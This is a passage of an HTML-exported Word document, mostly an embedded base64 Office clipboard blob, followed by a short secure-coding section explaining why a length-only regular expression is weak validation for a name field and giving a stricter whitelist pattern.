vZUa2qFSc&amp;#13;&amp;#10;QWmLEeeFVCKLOren1IlpqKYPNp7wcV3UuDmlxs8MPTrjfJjvixzZUYlP/kr5DQAA//8DAFBLAwQU&amp;#13;&amp;#10;AAYACAAAACEAA8CiPBEEAADfQQAAHgAAAGNsaXBib2FyZC9kaWFncmFtcy9jb2xvcnMxLnhtbOyc&amp;#13;&amp;#10;XU/bMBSG7yftP0S+H2kZIFYREB+rhITQpLHryU2cNMJxMtuF8u9nO5/toKWxuzTF3JQmyrHz5Pj1&amp;#13;&amp;#10;8fFJzy7mCXaeEGVxSjwwPBgABxE/DWISeeDXw/jLKXAYhySAOCXIAy+IgYvzz5/OgigZ+SlOKbtB&amp;#13;&amp;#10;oSOsEDYSxzww5TwbuS7zpyiB7CDNEBFnw5QmkIuvNHIDCp+F/QS7h4PBiRvEMKIwAYUR2MJEAmMC&amp;#13;&amp;#10;nBmJ/8zQbeCBGSWjJPZpytKQH/hp4qZhGPuo+ICUy6aP3VM3vwUX+j4ifPj7EJyrO+Mxx8h5gtgD&amp;#13;&amp;#10;wM0PBYj5i0d8yO8Yz8+K/x3+kglChSngZDQWRIeiIWnCVcAaVzD+gtHdBDsEJuIykgZoULQexhhf&amp;#13;&amp;#10;YyqMOwniUw9QlCHIxVk4UlyROJv3pWytbKG+NO8Xjsk7LWE+rPpZXZUbQWGIfJ7bKWjw+V1puToy&amp;#13;&amp;#10;rrpdHfq+eKWCUN54brv8VmCAOI7IvWAx7JLFMtXueEi36BTFbrgF7t4ndgPEEyK6KKSKQJxNYa4g&amp;#13;&amp;#10;xwPxp0Z+Q1wKveq7msjRU0p6fS8fTlQlhq9d6ulujB2J4chiCKPbJPqBoa8zsUgR4THhfdGQtWO+&amp;#13;&amp;#10;6aJ8XocyeZTC5+0iGUv635DVOOmJdehXVgbGMbN48kAhYYc3GgHpom6cbCX2KKP397fVXXwfRj8t&amp;#13;&amp;#10;VrXUrdaMtfZWhzYW34nFWqz7K4YmsJYSMNSRANEjlQeoA/JNUxXlAC8t6Q7ftcEBn9e5ESPBgQ8x&amp;#13;&amp;#10;TmcyoyPTQjWJtT1ZvvX60rYQF1Vy1Wqwf5ghY9wm1YDEoDFnl8Osva81YxFdL6oEbeNJQWKw2QDl&amp;#13;&amp;#10;DTYboDDYbADIIL2e2rhe7LVUwjKu9jHWTsdNYTMSGDQfR6datRxo6Mp2tyg71bv9QtmpZu4Tyh1Z&amp;#13;&amp;#10;RKnU0RQGxXb3qpTM1jXA+DqrltPhzU7I6YehvROKu0T7dEW6sd++vROivNe0w+jS91ssomWEKME0&amp;#13;&amp;#10;dty/rXDD9mvs/z41Bo+mk2IpGVvKSwVeximrCivry7I8sS6jM06Z00tZyWaM85HVjDzBvVQvOLGC&amp;#13;&amp;#10;sW3BYCmOAx1h1s8f939uUxA1JcFy9IDieKUx6C1ED6hYdpyKLcjne7364rci22Zx2HanLt0ebH3d&amp;#13;&amp;#10;Zzy0KAM4+wBVGUH/HqCKWezT6+nTU+LZoqjAJgLkC03l9FuG8a8G9Qpxi3StRbwZ4hY5Wot4M8Qt&amp;#13;&amp;#10;ErMW8bsRizLPada+iE7GjvVLDNuNU0vh61+4Ejxe6WNm9Q7jql2YHqW/5TAtH6qR0g9ODXCu3bmq&amp;#13;&amp;#10;5FzYe9gTJzcOX9Thm1OSVXvo7T28ec/9UxGKnh7mm0v1K5Oh+ZdV5RJ9KY/wViNbB69XAqHWVPlv&amp;#13;&amp;#10;GoifZTj/CwAA//8DAFBLAwQUAAYACAAAACEAWcukmtsDAAANUQAAIgAAAGNsaXBib2FyZC9kaWFn&amp;#13;&amp;#10;cmFtcy9xdWlja1N0eWxlMS54bWzsnN1O2zAUx+8n7R0i34+0sE2oIkV8qBISQoixB3AdJ7Vw7GC7&amp;#13;&amp;#10;UN5+tpOmTGKioYQ54dy0aZrj1P7Z5xz/7fToeFXw6IEqzaRI0HhvhCIqiEyZyBP0+3b27RBF2mCR&amp;#13;&amp;#10;Yi4FTdAT1eh4+vXLUZoXE22eOD2nWWQLEXpiTyVoYUw5iWNNFrTAek+WVNhvM6kKbOxHlcepwo+2&amp;#13;&amp;#10;+ILH+6PRzzhlOFe4QHUh+A1FFJgJFC0Fu1/SizRBSyUmBSNKapmZPSKLWGYZI7R+w8q4W/+ID+P7&amp;#13;&amp;#10;JSN3vhqxZkXJ6RhNfdUMM5xGD5gnCMXVqZRq8vcZgs2lNtW39jgyT6VtoqogFJWK2RYdjUcjV0Ls&amp;#13;&amp;#10;Guy5gSZU0IN0eoTt6YIqbA20SZBUZiFti5QLRmZKCuOs8YSzfGFuWB4pZsmYhaL02qAoZcp+am7Q&amp;#13;&amp;#10;FNrguZzzSNjyEyRkSkd19Zrrurt5eZDWDWdW16o+9E3tqyNubL9h6SpB+/Y34YkmKp+fcRXZ+thO&amp;#13;&amp;#10;aOtoX+fu1TWerb8zcBdmjPPG1uF63bY2cZfSLKPENPauPV63b4z8/S2Sxr5gQqq6DNvhqauA7zTc&amp;#13;&amp;#10;jOsfnlXX1z2gbgDfG/yx5VN1oPWnmhYXV5bXujsCr6qvhMvrgQog9pEjzKx2HGHYulRA9pHIdnaK&amp;#13;&amp;#10;LoSBS+xLCHO0XHD3uUj32Q4kHFWm9MaEw9E6AFo9SQ8dre9Aqye0svyiyK85JhC9mrnUeyb0zvE1&amp;#13;&amp;#10;M97nx/+aXfncD5jUU+owmMxhkDhho7OEvPUg0Wx+q7DQ++ch5tzbSQGfTTbK8l9ArdNh5ManV7ff&amp;#13;&amp;#10;UeybA7VK1e3M+XVBbe0fx0H6x+2k8Zf943a+tWtZvXXAIphzuTQwLepgWtQaBtbauH4E6s9muWi7&amp;#13;&amp;#10;cdWk485p1WpONVvqbrnJ0Qoxy4PFwc1K+2Yp19ECZbUvOrijBcpqn2iBstoXWiVWZ4uAVQqIXy/F&amp;#13;&amp;#10;r+fUII71caxBPOsjNYhr/aMWprq0S1zbbhYcnLq0CVrj86EFrQEgGVpEGgCSoYWbniLJ8hNCQNzr&amp;#13;&amp;#10;IvS3VsWJFDPA0dWDGK1x+H1AMDo6ei6mNQ6jTtym/ECB7LKiup1tcDnvHHxVML5KS85SCB6dbRFp&amp;#13;&amp;#10;7a08kJAd1i6T9J46LM/kFLxWMF7LTz5m0m7MebyCp7dCSbTWeS+A8Q+ThxNTfMIFVAKj4p2YU39g&amp;#13;&amp;#10;M9t7b2ZrnXV5FkPT33uabXkWQxPe+8xiaIp7T1nY5zkWZYDhYrsFjJefCegpivTuFGCEMu0wCmAE&amp;#13;&amp;#10;NDMP00l9QtVK0Yfb1cDixXax5v+ueGz+NMD+i+H0DwAAAP//AwBQSwMEFAAGAAgAAAAhAEl9Y950&amp;#13;&amp;#10;BQAAdhoAAB4AAABjbGlwYm9hcmQvZGlhZ3JhbXMvbGF5b3V0MS54bWzUWe1u2zYU/T9g7yDo/yJ/&amp;#13;&amp;#10;JFlg1Ck6pMEKJO6wZA9AU5SlgSJVkk6cPv0uv0TKlh3LXdH0TytS5P3gPffwyHn3flPT5IkIWXE2&amp;#13;&amp;#10;T8dnozQhDPO8Yqt5+s/j7W9XaSIVYjminJF5+kJk+v7611/e5at6RtELX6sbUiRghckZzM3TUqlm&amp;#13;&amp;#10;lmUSl6RG8ow3hMHbgosaKRiKVZYL9Az2a5pNRqPLLK/QSqA6dUbQCSZqVLE0WbPqy5p8yufpWrBZ&amp;#13;&amp;#10;XWHBJS/UGeZ1xouiwsT9h4TSri+yq8ymkJV3lVTj9NqkpSpFSfKE6DxNMzuVE4m7MxipO6nsW3hO&amp;#13;&amp;#10;1EsDx0PBTJo0opqnF6PRyG8PCzBncNrbazJ9mrFFiermBinkvMPTPc8JtcMmeG5UUusXOmkonQ0i&amp;#13;&amp;#10;59g7jt/79BrxQFTSlDQXUHG90rhvXDKdLafsmbhjHODnlC0nhDY5wc90eDbTE0KbHhGaK1OA3YbF&amp;#13;&amp;#10;zwEJ59CzAjtMAHSVfhybyc/CIkXPumcHcbxhwcJFn4VJsADGXrFw2WdhGiyAsVcsjO1qF3ubxqA8&amp;#13;&amp;#10;xuEoXMjG3KBMJiEOF7S2MRkUxyTEEdsYFMc0xAFP/jwAbLrYR9Z1GuKIbRyKw3JTBLXlyiHmueSU&amp;#13;&amp;#10;ePrIA0eZHV0Gk+qFkjdAaP9nl4VyAPP6cgyqRihGZOF71KJ7+piKn6MU+laMr6MTuPj8dfo+mlZ7&amp;#13;&amp;#10;SXFQwXtJ8VDBjS6Iifn3b6ZVLeh2LgeLREMijhfC5XAiAXRQZmXWAqRKwlANQmkB/45cbZ6QaO+x&amp;#13;&amp;#10;vBKOXRCr6rsnEKdah9En6iWNILL6Sv4ESUqJtG/JBmHVCpnYHC45l7FPfzVXRRQIVKBYMzxPYWua&amp;#13;&amp;#10;IAHSF+JIE97MU/JlnVovDCSsixjRVSv4WOu4Kqw+I7Tj0qO2u8lJOQTKN5i60V5NwoXg9d+tZdjq&amp;#13;&amp;#10;VJq27R5tbtaOLFFDnIAGVfe6Brd6+IbjdU2YUcOXmSAUKfgOkGXVyDQRsyWt4AR8zvm/UCVP98ah&amp;#13;&amp;#10;ywEq8rlwVQN9K1Uopx26BEs4Zg7RYfugIQADXjdcVoqAQ1I8GhVd+lp3tj8fu/354HZgamPIum+Q&amp;#13;&amp;#10;eNz0rvfR9q1vkdHJ2qXp4+xuhNEgR3b9QUfwmVHfcqYevrqT6Xq0qVk4XV705igJPmDAhdCWJfYH&amp;#13;&amp;#10;k7e6lsalHcQHejDugyd7krcC+h8+gM6uerPs9/ct2Vl/4zP4oDiEgA7QZYNwDHKAiT9EvS4+w6gn&amp;#13;&amp;#10;WgryKYKi9T241WtiTUnLo3qwhcdONJELwzcgQKyHBVqkSY02mqIXPrvIWgwC0837QQf35R6b5krp&amp;#13;&amp;#10;xAumPiJcRqQMVxLaVNLSRaMsMzC4QRwf7VwpISXLS4FvwxtXrZ+CLqnr6k7d9vOVp52e5YFZ+6lR&amp;#13;&amp;#10;DfPUG5htp6O7Ybv7DnTD/pR749623PaWRVLcZ61lK3G6V1cHnlEDgD3TMZ8WtwPwvYNWx87mw+hu&amp;#13;&amp;#10;CRIH0WrFtELyEqWrY+7RxvoNPyqVf0EyW5PLNaVEfWRoSUlu34WfeGKLoTtUe//ZtrA/IgkCkuqH&amp;#13;&amp;#10;KgrX/pLQAn5Siwmgg7KW8jpiwVbdkgZgS9Mo1RrD06hhUaOuTdVbhdIx7WbVPUjCSJ50KNDdPPD7&amp;#13;&amp;#10;Td/W5dFbvy8EjfWAQUuQYexo17XOFiY/YBAJlPLnfeA8DXNOPEYCWKo/DHpB9bseC9A1CljX601i&amp;#13;&amp;#10;FA5uOEQj8WUIZY9Gi9EG/W4hHfb2oa5fP9MjsHjeD+NjOmDP1mM64HI6VNMMJ+GdDtiZ0OjalSEg&amp;#13;&amp;#10;YqwMKUwPPFTLUGlZLR8FYlB7zEB/euLe6Ssr/bZViWw8Zbw9OeJQpa+96KMvJOY+Qd1x9Y52FtsJ&amp;#13;&amp;#10;+GvR9X8AAAD//wMAUEsDBBQABgAIAAAAIQDhUTcfzwYAAOYbAAAaAAAAY2xpcGJvYXJkL3RoZW1l&amp;#13;&amp;#10;L3RoZW1lMS54bWzsWc1v3EQUvyPxP4x8b7PfzUbdVNnNbgNt2ijZFvU4a8/a04w91sxs0r2h9oiE&amp;#13;&amp;#10;hCiIA5W4cUBApVbiUv6aQBEUqf8Cb2ZsryfrkLSNoILmkLWff/O+35uvy1fuxQwdECEpT3pe/WLN&amp;#13;&amp;#10;QyTxeUCTsOfdGo8urHpIKpwEmPGE9Lw5kd6V9fffu4zXfEbTCcciGEckJggYJXIN97xIqXRtZUX6&amp;#13;&amp;#10;QMbyIk9JAt+mXMRYwasIVwKBD0FAzFYatVpnJcY08daBo9KMhgz+JUpqgs/EnmZDUIJjkH5zOqU+&amp;#13;&amp;#10;Mdhgv64Rci4HTKADzHoe8Az44ZjcUx5iWCr40PNq5s9bWb+8gteyQUydMLY0bmT+snHZgGC/YWSK&amp;#13;&amp;#10;cFIIrY9a3UubBX8DYGoZNxwOB8N6wc8AsO+DpVaXMs/WaLXez3mWQPZxmfeg1q61XHyJf3NJ526/&amp;#13;&amp;#10;3293M10sUwOyj60l/Gqt09poOHgDsvj2Er7V3xgMOg7egCy+s4QfXep2Wi7egCJGk/0ltA7oaJRx&amp;#13;&amp;#10;LyBTzrYq4asAX61l8AUKsqHILi1iyhN1Uq7F+C4XIwBoIMOKJkjNUzLFPuTkAMcTQbEWgNcILn2x&amp;#13;&amp;#10;JF8ukbQsJH1BU9XzPkxx4pUgL599//LZE3R0/+nR/Z+OHjw4uv+jZeSM2sJJWB714tvP/nz0Mfrj&amp;#13;&amp;#10;yTcvHn5RjZdl/K8/fPLLz59XA6F8FuY9//Lxb08fP//q09+/e1gB3xB4UoaPaUwkukEO0S6PwTDj&amp;#13;&amp;#10;FVdzMhGvNmIcYVoesZGEEidYS6ngP1SRg74xxyyLjqNHn7gevC2gfVQBr87uOgrvRWKmaIXka1Hs&amp;#13;&amp;#10;ALc5Z30uKr1wTcsquXk8S8Jq4WJWxu1ifFAle4ATJ77DWQp9M09Lx/BBRBw1dxhOFA5JQhTS3/g+&amp;#13;&amp;#10;IRXW3aHU8es29QWXfKrQHYr6mFa6ZEwnTjYtBm3RGOIyr7IZ4u34Zvs26nNWZfUmOXCRUBWYVSg/&amp;#13;&amp;#10;Jsxx41U8UziuYjnGMSs7/DpWUZWSe3Phl3FDqSDSIWEcDQMiZdWYmwLsLQX9GoaOVRn2bTaPXaRQ&amp;#13;&amp;#10;dL+K53XMeRm5yfcHEY7TKuweTaIy9gO5DymK0Q5XVfBt7laIfoc44OTEcN+mxAn36d3gFg0dlRYJ&amp;#13;&amp;#10;or/MhI4ltGqnA8c0+bt2zCj0Y5sD59eOoQE+//pRRWa9rY14A+akqkrYOtZ+T8Idb7oDLgL69vfc&amp;#13;&amp;#10;TTxLdgik+fLE867lvmu53n++5Z5Uz2dttIveCm1XrxvsotgskeMTV8hTytiemjNyXZpFsoR5IhgB&amp;#13;&amp;#10;UY8zO0FS7JjSCB6zvu7gQoHNGCS4+oiqaC/CKSyw655mEsqMdShRyiVs7Ay5krfGwyJd2W1hW28Y&amp;#13;&amp;#10;bD+QWG3zwJKbmpzvCwo2ZrYJzeYzF9TUDM4qrHkpYwpmv46wulbqzNLqRjXT6hxphckQw2XTgFh4&amp;#13;&amp;#10;ExYgCJYt4OUO7MW1aNiYYEYC7Xc79+ZhMVE4zxDJCAcki5G2ezlGdROkPFfMSQDkTkWM9CbvFK+V&amp;#13;&amp;#10;pHU12zeQdpYglcW1ThCXR+9NopRn8CJKum6PlSNLysXJEnTY87rtRttDPk573hT2tPAYpxB1qdd8&amp;#13;&amp;#10;mIVwGuQrYdP+1GI2Vb6IZjc3zC2COhxTWL8vGez0gVRItYllZFPDfMpSgCVaktW/0Qa3npcBNtNf&amp;#13;&amp;#10;Q4vmKiTDv6YF+NENLZlOia/KwS5RtO/sa9ZK+UwRsRcFh2jCZmIXQ/h1qoI9AZVwNGE6gn6BczTt&amp;#13;&amp;#10;bfPJbc5Z0ZVPrwzO0jFLI5y1W12ieSVbuKnjQgfzVlIPbKvU3Rj36qaYkj8nU8pp/D8zRc8ncFLQ&amp;#13;&amp;#10;DHQEfDiUFRjpeu15XKiIQxdKI+qPBCwcTO+AbIGzWPgMSQUnyOZXkAP9a2vO8jBlDRs+tUtDJCjM&amp;#13;&amp;#10;RyoShOxAWzLZdwqzejZ3WZYsY2QyqqSuTK3aE3JA2Fj3wI6e2z0UQaqbbpK1AYM7nn/ue1ZBk1Av&amp;#13;&amp;#10;csr15vSQYu61NfBPr3xsMYNRbh82C5rc/4WKFbOqHW+G53Nv2RD9YbHMauVVAcJKU0E3K/vXVOEV&amp;#13;&amp;#10;p1rbsZYsbrRz5SCKyxYDsVgQpXDeg/Q/mP+o8Jm9bdAT6pjvQm9FcNGgmUHaQFZfsAsPpBukJU5g&amp;#13;&amp;#10;4WSJNpk0K+vabOmkvZZP1ue80i3kHnO21uws8X5FZxeLM1ecU4vn6ezMw46vLe1EV0Nkj5cokKb5&amp;#13;&amp;#10;RsYEpurWaRunaBLWex7c/ECg78ET3B15QGtoWkPT4AkuhGCxZG9xel72kFPgu6UUmGZOaeaYVk5p&amp;#13;&amp;#10;5ZR2ToHFWXZfklM60Kn0FQdcsekfD+W3GbCCy24/8qbqXM2t/wUAAP//AwBQSwECLQAUAAYACAAA&amp;#13;&amp;#10;ACEAepYiB0cBAABVBAAAEwAAAAAAAAAAAAAAAAAAAAAAW0NvbnRlbnRfVHlwZXNdLnhtbFBLAQIt&amp;#13;&amp;#10;ABQABgAIAAAAIQCtMD/xwQAAADIBAAALAAAAAAAAAAAAAAAAAHgBAABfcmVscy8ucmVsc1BLAQIt&amp;#13;&amp;#10;ABQABgAIAAAAIQCCe2BRvxAAAM9eAAAcAAAAAAAAAAAAAAAAAGICAABjbGlwYm9hcmQvZGlhZ3Jh&amp;#13;&amp;#10;bXMvZGF0YTEueG1sUEsBAi0AFAAGAAgAAAAhAPWBrIuOAQAASAQAAB8AAAAAAAAAAAAAAAAAWxMA&amp;#13;&amp;#10;AGNsaXBib2FyZC9kcmF3aW5ncy9kcmF3aW5nMS54bWxQSwECLQAUAAYACAAAACEABKF53QoBAAB0&amp;#13;&amp;#10;AwAAKgAAAAAAAAAAAAAAAAAmFQAAY2xpcGJvYXJkL2RyYXdpbmdzL19yZWxzL2RyYXdpbmcxLnht&amp;#13;&amp;#10;bC5yZWxzUEsBAi0AFAAGAAgAAAAhAAPAojwRBAAA30EAAB4AAAAAAAAAAAAAAAAAeBYAAGNsaXBi&amp;#13;&amp;#10;b2FyZC9kaWFncmFtcy9jb2xvcnMxLnhtbFBLAQItABQABgAIAAAAIQBZy6Sa2wMAAA1RAAAiAAAA&amp;#13;&amp;#10;AAAAAAAAAAAAAMUaAABjbGlwYm9hcmQvZGlhZ3JhbXMvcXVpY2tTdHlsZTEueG1sUEsBAi0AFAAG&amp;#13;&amp;#10;AAgAAAAhAEl9Y950BQAAdhoAAB4AAAAAAAAAAAAAAAAA4B4AAGNsaXBib2FyZC9kaWFncmFtcy9s&amp;#13;&amp;#10;YXlvdXQxLnhtbFBLAQItABQABgAIAAAAIQDhUTcfzwYAAOYbAAAaAAAAAAAAAAAAAAAAAJAkAABj&amp;#13;&amp;#10;bGlwYm9hcmQvdGhlbWUvdGhlbWUxLnhtbFBLBQYAAAAACQAJAJkCAACXKwAAAAA=&amp;#13;&amp;#10;"&gt;&lt;FONT face=Calibri&gt;&lt;v:imagedata o:title="" src="file:///C:\Users\anmolm\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png" cropbottom="-67418f" croptop="-66947f"&gt;&lt;/v:imagedata&gt;&lt;o:lock aspectratio="f" v:ext="edit"&gt;&lt;/o:lock&gt;&lt;/FONT&gt;&lt;/v:shape&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H1 style="MARGIN: 24pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485143&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#365f91 size=5&gt;Regular expressions&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/H1&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoCommentText style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt"&gt;&lt;FONT face=Calibri&gt;Regular expressions provide a powerful, flexible, and efficient method for processing text. The extensive pattern-matching notation of regular expressions allows you to quickly parse large amounts of text to find specific character patterns, to extract, edit, replace, or delete text substrings, or to add the extracted strings to a collection in order to generate a report. For many applications that deal with strings (such as HTML processing, log file parsing, and HTTP header parsing), regular expressions are an indispensable tool.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Let’s analyze this regular expression used for validation, implemented by a developer on a Name input field:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="COLOR: #303030"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-INDENT: 0.5in"&gt;&lt;SPAN lang=EN-IN style="COLOR: #303030"&gt;&lt;FONT face=Calibri size=3&gt;string regExPattern= \&lt;/FONT&gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Lucida Console'; mso-bidi-font-family: 'Courier New'; mso-ansi-language: EN-US"&gt;.{1,500}$&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 7.5pt; FONT-FAMILY: 'MS Shell Dlg','sans-serif'"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 7.5pt; FONT-FAMILY: 'MS Shell Dlg','sans-serif'"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;The regular expression serves only as the length delimiter.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;It provides no protection in terms of character type. &lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;This example merely limits the attacker to a maximum payload of 500 characters. &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Ideally the regExPattern should have been declared as follows:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN style="COLOR: #303030"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;string regExPattern = ^[a-zA-Z''-'\s]{1,40}$&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;This only allows &lt;SPAN style="COLOR: #303030"&gt;one or more alphabetical characters, which further&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 7.5pt"&gt; &lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="COLOR: #303030"&gt;&lt;FONT size=3&gt;validates the input as a name. It allows up to 40 uppercase and lowercase characters and a few special characters that are common to some names.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Unfortunately, regular expressions have some significant limitations:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo2"&gt;&lt;A class="" name=505&gt;&lt;/A&gt;&lt;A class="" name=wbpch08P698&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol; mso-fareast-language: EN-US"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;Performance Impact &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
